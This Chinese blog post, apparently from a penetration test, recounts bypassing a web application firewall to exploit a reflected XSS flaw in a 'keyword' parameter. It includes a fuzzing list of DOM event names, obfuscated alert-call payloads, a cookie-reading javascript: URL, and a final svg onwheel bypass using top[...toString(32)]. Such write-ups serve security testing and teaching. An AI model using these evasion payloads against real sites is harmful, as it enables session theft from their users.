一次bypass Xss-waf的经历
接到测试网站，利用crawlergo+XRAY扫到了一个xss，这是入口点。打开网页长这个样子。
利用点在keyword参数
我们闭合前面的<script>看看
嗯..问题不大
而当直接注入payload的时候，会被拦截
麻麻赖赖的，咋直接干它！
开始尝试绕过payload
最后发现，onerror= 会被直接拦截
onerror== 不会被拦截，而是变成onerror="="
除此之外，不论=后面是否存在数值，都会被拦截。
于是猜想，是不是onerror这个事件太常用了，所以作为关键词的一部分被拦截了，因此我开始fuzz事件
这里贴出所有的事件，来自菜鸟教程。
onclick
oncontextmenu
ondblclick
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseover
onmouseout
onmouseup
onkeydown
onkeypress
onkeyup
onabort
onbeforeunload
onerror
onhashchange
onload
onpageshow
onpagehide
onresize
onscroll
onunload
onblur
onchange
onfocus
onfocusin
onfocusout
oninput
onreset
onsearch
onselect
onsubmit
oncopy
oncut
onpaste
onafterprint
onbeforeprint
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
onabort
oncanplay
oncanplaythrough
ondurationchange
onemptied
onended
onerror
onloadeddata
onloadedmetadata
onloadstart
onpause
onplay
onplaying
onprogress
onratechange
onseeked
onseeking
onstalled
onsuspend
ontimeupdate
onvolumechange
onwaiting
animationend
animationiteration
animationstart
transitionend
onmessage
onmousewheel
ononline
onoffline
onpopstate
onshow
onstorage
ontoggle
onwheel随后，fuzz出了一堆可触发的事件出来
最后我选择了onwhell，滚动的时候触发，但是紧跟着alert依旧不行
于是，我认为是alert(1)这个函数太过敏感，我们可以用一些别的方法来进行混淆。
于是在尝试了反引号，confirm,prompt等都不行的时候，我居然想出了console.log(1)这个方法。
没想到又出来一个拦截
真的是i了i了
最后掏出我弹药库里的一些储备
例如这些：
self['al'%2B'ert'](1) >
parent['al'%2B'ert'](1) >
frames['al'%2B'ert'](1) >
content['al'%2B'ert'](1) >
window['al'%2B'ert'](1) >但是也都一一被拦截下来
最后，幸运之神还是眷顾了我，让我找到了没有被waf住的包
例如：
javascript:alert(document.cookie)在javascript接着的语句中，进行编码后依旧可以进行识别
或者利用toString的编码转换，来进行bypass
例如
最后结合top来进行二次绕过
top[11189117..toString(32)](1);那么最后为什么还没有弹框呢？原因是src=1 和onwheel压根没啥子关系。。
我们换个<svg onwheel>会不会更好。只需滚动一下鼠标滑轮即可
</sCrIpT><svg onwheel=top[11189117..toString(32)](1);>
搞定收工，继续喝酒去！
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2020-06-22，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读